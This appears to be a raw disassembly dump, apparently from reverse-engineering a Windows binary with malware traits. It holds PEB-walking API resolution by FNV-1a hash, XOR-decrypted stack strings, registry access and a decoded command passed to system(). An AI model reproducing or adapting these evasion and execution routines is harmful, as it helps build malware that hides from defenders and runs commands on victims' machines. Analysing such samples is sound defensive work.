pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x40c]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x40c], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x408]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x408], xmm2
add eax, 8
cmp eax, 0x24
jl 0x43c650
mov dword [ebp - 0x3a4], edx
cmp edx, 0x26
jge 0x43c777
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x3a4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x408], cl
inc edx
mov dword [ebp - 0x3a4], edx
cmp edx, 0x26
jl 0x43c740
xorps xmm0, xmm0
mov dword [ebp - 0x288], 0
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x284], 0
movups xmmword [ebp - 0x298], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43c7a0
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
lea ecx, [ebp - 0x298]
call fcn.0040e0d0
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x11
call fcn.00430690
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x284]
cmp ecx, 0xf
jbe 0x43c80b
mov edx, dword [ebp - 0x298]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c801
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43c801
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43c89a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43c89a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0x71ac2173
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43c88d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43c870
cmp esi, 0xb0665136
je 0x43c89e
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43c850
mov eax, dword [eax]
jmp 0x43c820
mov esi, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x264], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x260], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43c96a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43c96a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0xa7dd97a5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43c95d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43c940
cmp esi, 0x59f7197c
je 0x43c96e
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43c920
mov eax, dword [eax]
jmp 0x43c8f0
mov esi, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x3a4], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x3a4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x3a4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x264], cl
inc edx
mov dword [ebp - 0x3a4], edx
cmp edx, 6
jl 0x43c9a0
lea eax, [ebp - 0x264]
push eax
call esi
add esp, 4
jmp 0x43d5ba
push 0xc
call fcn.0044318b
mov edi, eax
xorps xmm0, xmm0
mov dword [ebp - 0x264], edi
add esp, 4
movq qword [edi], xmm0
mov dword [edi + 8], 0
mov dword [ebp - 0x278], 0x5fd001d6
mov dword [ebp - 0x274], 0x2e771a2
mov ecx, dword [ebp - 0x278]
mov edx, dword [ebp - 0x274]
mov dword [ebp - 0x390], ecx
mov dword [ebp - 0x38c], edx
mov dword [ebp - 0x278], 0xcff1eec2
mov dword [ebp - 0x274], 0x9d259d66
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x278], 0x6114b191
mov dword [ebp - 0x274], 0xd99fe8c7
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x278], 0x2b2c2d44
mov dword [ebp - 0x274], 0x623a960e
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x278], 0xaa1ea4e9
mov dword [ebp - 0x274], 0x385aeda6
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x278], 0xc564bac3
mov dword [ebp - 0x274], 0x4342691a
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x278], 0xfbda5c92
mov dword [ebp - 0x274], 0x712a2b03
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x278], 0xaf5cce9a
mov dword [ebp - 0x274], 0xd554d58a
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x278], 0x2bb66e85
mov dword [ebp - 0x274], 0x679510d5
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x278], 0x98beb99e
mov dword [ebp - 0x274], 0xaf16a950
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x278], 0x470dedf
mov dword [ebp - 0x274], 0xb5eaa59b
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x278], 0x7f0c4430
mov dword [ebp - 0x274], 0x165cf366
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0x278], 0xde6be5c9
mov dword [ebp - 0x274], 0x6b7ad7c9
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x278], 0x8444d4a2
mov dword [ebp - 0x274], 0x26300d74
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], ecx
mov dword [ebp - 0x278], 0xbafa2ff3
mov dword [ebp - 0x274], 0x4076476f
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x278], 0xaf5cf8b4
mov dword [ebp - 0x274], 0xd554d58a
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
movaps xmm1, xmmword [ebp - 0x390]
xorps xmm1, xmmword [ebp - 0x420]
movaps xmmword [ebp - 0x390], xmm1
movaps xmm1, xmmword [ebp - 0x380]
xorps xmm1, xmmword [ebp - 0x410]
movaps xmmword [ebp - 0x380], xmm1
movaps xmm1, xmmword [ebp - 0x370]
xorps xmm1, xmmword [ebp - 0x400]
push edi
push 0xf003f
movaps xmmword [ebp - 0x370], xmm1
movaps xmm1, xmmword [ebp - 0x360]
mov dword [ebp - 0x3e8], eax
lea eax, [ebp - 0x390]
push 0
mov dword [ebp - 0x3e4], ecx
xorps xmm1, xmmword [ebp - 0x3f0]
push eax
movaps xmmword [ebp - 0x360], xmm1
push reloc.WS2_32.dll_bind
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43cd49
mov byte [edi + 4], 1
mov eax, dword fs:[0x2c]
mov byte [edi + 8], 1
mov esi, dword [eax]
mov eax, dword [0x506bfc]
cmp eax, dword [esi + 4]
jle 0x43d0bc
push 0x506bfc
call fcn.00443268
add esp, 4
cmp dword [0x506bfc], 0xffffffff
jne 0x43d0bc
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x278], 0x7bea54c6
mov dword [ebp - 0x274], 0x15f27fa7
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x278], 0xde9ed4ff
mov dword [ebp - 0x274], 0xdc73c539
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x278], 0x3c08f6ff
mov dword [ebp - 0x274], 0xf8b68cad
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x278], 0x2c2c0564
mov dword [ebp - 0x274], 0x577c9d07
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0x278], 0xbb1981a7
mov dword [ebp - 0x274], 0x5a5aa4a8
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x278], 0xc918e28c
mov dword [ebp - 0x274], 0x4f446101
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], ecx
mov dword [ebp - 0x278], 0xdf927bd3
mov dword [ebp - 0x274], 0x1563309
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x278], 0x81338cc1
mov dword [ebp - 0x274], 0xd531adef
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], ecx
mov dword [ebp - 0x278], 0x2bb66e85
mov dword [ebp - 0x274], 0x679510d5
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x278], 0x98beb99e
mov dword [ebp - 0x274], 0xaf16a950
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x278], 0x470dedf
mov dword [ebp - 0x274], 0xb5eaa59b
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x278], 0x7f0c4430
mov dword [ebp - 0x274], 0x165cf366
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x278], 0xde6be5c9
mov dword [ebp - 0x274], 0x6b7ad7c9
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x278], 0x8444d4a2
mov dword [ebp - 0x274], 0x26300d74
xorps xmm0, xmm0
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x278], 0xbafa2ff3
mov dword [ebp - 0x274], 0x4076476f
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x278], 0xaf5cf8b4
mov dword [ebp - 0x274], 0xd554d58a
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
movaps xmm1, xmmword [ebp - 0x420]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x420], xmm1
movaps xmm1, xmmword [ebp - 0x410]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x410], xmm1
movaps xmm1, xmmword [ebp - 0x400]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x400], xmm1
movaps xmm1, xmmword [ebp - 0x3f0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x420]
mov dword [ebp - 0x28], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x3f0], xmm1
movups xmmword [0x506d38], xmm0
mov dword [0x506d48], 0
mov dword [0x506d4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d083
sub ecx, edx
lea eax, [ebp - 0x420]
push ecx
push eax
mov ecx, 0x506d38
call fcn.0040e0d0
push 0x49eee0
call fcn.00443508
add esp, 4
mov byte [ebp - 4], 0xf
push 0x506bfc
call fcn.00443217
add esp, 4
mov dword [ebp - 0x278], 0x5fc50fc9
mov dword [ebp - 0x274], 0x9e042f5
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x278], 0xfbd1f5be
mov dword [ebp - 0x274], 0xc07fdd31
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x278], 0x470deb1
mov dword [ebp - 0x274], 0xb5eaa59b
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x278], 0x7f0c4430
mov dword [ebp - 0x274], 0x165cf366
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x278], 0x2bb66e85
mov dword [ebp - 0x274], 0x679510d5
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x278], 0x98beb99e
mov dword [ebp - 0x274], 0xaf16a950
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x278], 0x470dedf
mov dword [ebp - 0x274], 0xb5eaa59b
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x278], 0x7f0c4430
mov dword [ebp - 0x274], 0x165cf366
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
movaps xmm1, xmmword [ebp - 0x40]
xorps xmm1, xmmword [ebp - 0x3d0]
mov dword [ebp - 0x3b8], eax
lea eax, [ebp - 0x40]
push ecx
movaps xmmword [ebp - 0x40], xmm1
movaps xmm1, xmmword [ebp - 0x30]
push eax
mov dword [ebp - 0x3b4], ecx
lea eax, [ebp - 0x298]
xorps xmm1, xmmword [ebp - 0x3c0]
mov ecx, edi
push eax
movaps xmmword [ebp - 0x30], xmm1
call fcn.00442ab0
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x288], 0
jne 0x43d65b
movups xmm0, xmmword [0x4b0b6c]
xor edx, edx
cmp dword [0x5067b8], 2
mov dword [ebp - 0x3a4], edx
movups xmmword [ebp - 0x408], xmm0
movups xmm0, xmmword [0x4b0b7c]
movups xmmword [ebp - 0x3f8], xmm0
movq xmm0, qword [0x4b0b8c]
movq qword [ebp - 0x3e8], xmm0
jl 0x43d3b0
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x280], xmm0
mov ecx, dword [ebp - 0x280]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x40c]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x40c], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x408]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x408], xmm2
add eax, 8
cmp eax, 0x2c
jl 0x43d2c0
mov dword [ebp - 0x3a4], edx
cmp edx, 0x28
jge 0x43d3e7
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x3a4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x408], cl
inc edx
mov dword [ebp - 0x3a4], edx
cmp edx, 0x28
jl 0x43d3b0
xorps xmm0, xmm0
mov dword [ebp - 0x3b8], 0
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x3b4], 0
movups xmmword [ebp - 0x3c8], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d410
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
lea ecx, [ebp - 0x3c8]
call fcn.0040e0d0
lea ecx, [ebp - 0x3c8]
mov byte [ebp - 4], 0x14
call fcn.00430690
mov ecx, dword [ebp - 0x3b4]
cmp ecx, 0xf
jbe 0x43d475
mov edx, dword [ebp - 0x3c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d46b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43dd30
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0x3b8], 0
mov dword [ebp - 0x3b4], 0xf
mov byte [ebp - 0x3c8], 0
mov dword [ebp - 0x268], 0x58c30ff5
mov dword [ebp - 0x264], 0x679510b0
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x268], 0x98beb99e
mov dword [ebp - 0x264], 0xaf16a950
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x268], 0x2bb66e85
mov dword [ebp - 0x264], 0x679510d5
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], ecx
mov dword [ebp - 0x268], 0x98beb99e
mov dword [ebp - 0x264], 0xaf16a950
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
movaps xmm1, xmmword [ebp - 0x280]
mov dword [ebp - 0x438], eax
lea eax, [ebp - 0x280]
mov dword [ebp - 0x434], ecx
xorps xmm1, xmmword [ebp - 0x440]
push eax
movaps xmmword [ebp - 0x280], xmm1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x284]
add esp, 4
cmp ecx, 0xf
jbe 0x43d59f
mov edx, dword [ebp - 0x298]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d595
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43dd30
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x284], 0xf
mov byte [ebp - 0x298], 0
mov ecx, dword [ebp - 0x2a4]
cmp ecx, 0xf
jbe 0x43d5f4
mov edx, dword [ebp - 0x2b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d5ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43dd30
push ecx
push edx
call fcn.004431bb
add esp, 8
mov ecx, dword [ebp - 0x2d4]
cmp ecx, 0xf
jbe 0x43d62e
mov edx, dword [ebp - 0x2e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d624
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43dd30
push ecx
push edx
call fcn.004431bb
add esp, 8
lea ecx, [ebp - 0x338]
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 0xf
mov byte [ebp - 0x2e8], 0
call fcn.004036d0
xor eax, eax
jmp 0x43ddd8
mov eax, dword [0x506d54]
cmp eax, dword [esi + 4]
jle 0x43d88b
push 0x506d54
call fcn.00443268
add esp, 4
cmp dword [0x506d54], 0xffffffff
jne 0x43d88b
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x278], 0x47c323d9
mov dword [ebp - 0x274], 0x33b579a1
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x278], 0xecd8dcf6
mov dword [ebp - 0x274], 0xdb63e870
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x474], ecx
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x278], 0x7c15f0b0
mov dword [ebp - 0x274], 0xb5eaa5fe
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x46c], ecx
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x278], 0x7f0c4430
mov dword [ebp - 0x274], 0x165cf366
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x278], 0x2bb66e85
mov dword [ebp - 0x274], 0x679510d5
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x278], 0x98beb99e
mov dword [ebp - 0x274], 0xaf16a950
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x278], 0x470dedf
mov dword [ebp - 0x274], 0xb5eaa59b
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x278], 0x7f0c4430
mov dword [ebp - 0x274], 0x165cf366
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
movaps xmm1, xmmword [ebp - 0x480]
xorps xmm1, xmmword [ebp - 0x3d0]
movaps xmmword [ebp - 0x480], xmm1
movaps xmm1, xmmword [ebp - 0x470]
mov dword [ebp - 0x3b4], ecx
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x3b8], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x3c0]
movaps xmmword [ebp - 0x470], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d820
sub ecx, edx
mov eax, bind
mov edx, dword [ebp - 0x288]
sub eax, edx
cmp eax, ecx
jb 0x43ddfb
cmp dword [ebp - 0x284], 0xf
lea eax, [ebp - 0x298]
push ecx
cmova eax, dword [ebp - 0x298]
lea ecx, [ebp - 0x480]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x261]
mov ecx, 0x506d70
call fcn.00421960
push 0x49ee80
call fcn.00443508
add esp, 4
mov byte [ebp - 4], 0x13
push 0x506d54
call fcn.00443217
add esp, 4
push 0x100
push 0
push 0x506c38
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, 0x506d70
cmp dword [0x506d84], 0xf
cmova eax, dword [0x506d70]
push eax
push str.__s__upd
push 0x506c38
call fcn.0042cbc0
movups xmm0, xmmword [0x4b08f8]
mov ax, word [0x4b0920]
xor edx, edx
mov word [ebp - 0x3e4], ax
add esp, 0xc
cmp dword [0x5067b8], 2
mov al, byte [0x4b0922]
movups xmmword [ebp - 0x40c], xmm0
mov byte [ebp - 0x3e2], al
movups xmm0, xmmword [0x4b0908]
mov dword [ebp - 0x3a4], edx
movups xmmword [ebp - 0x3fc], xmm0
movq xmm0, qword [0x4b0918]
movq qword [ebp - 0x3ec], xmm0
jl 0x43da41
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x280], xmm0
mov ecx, dword [ebp - 0x280]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
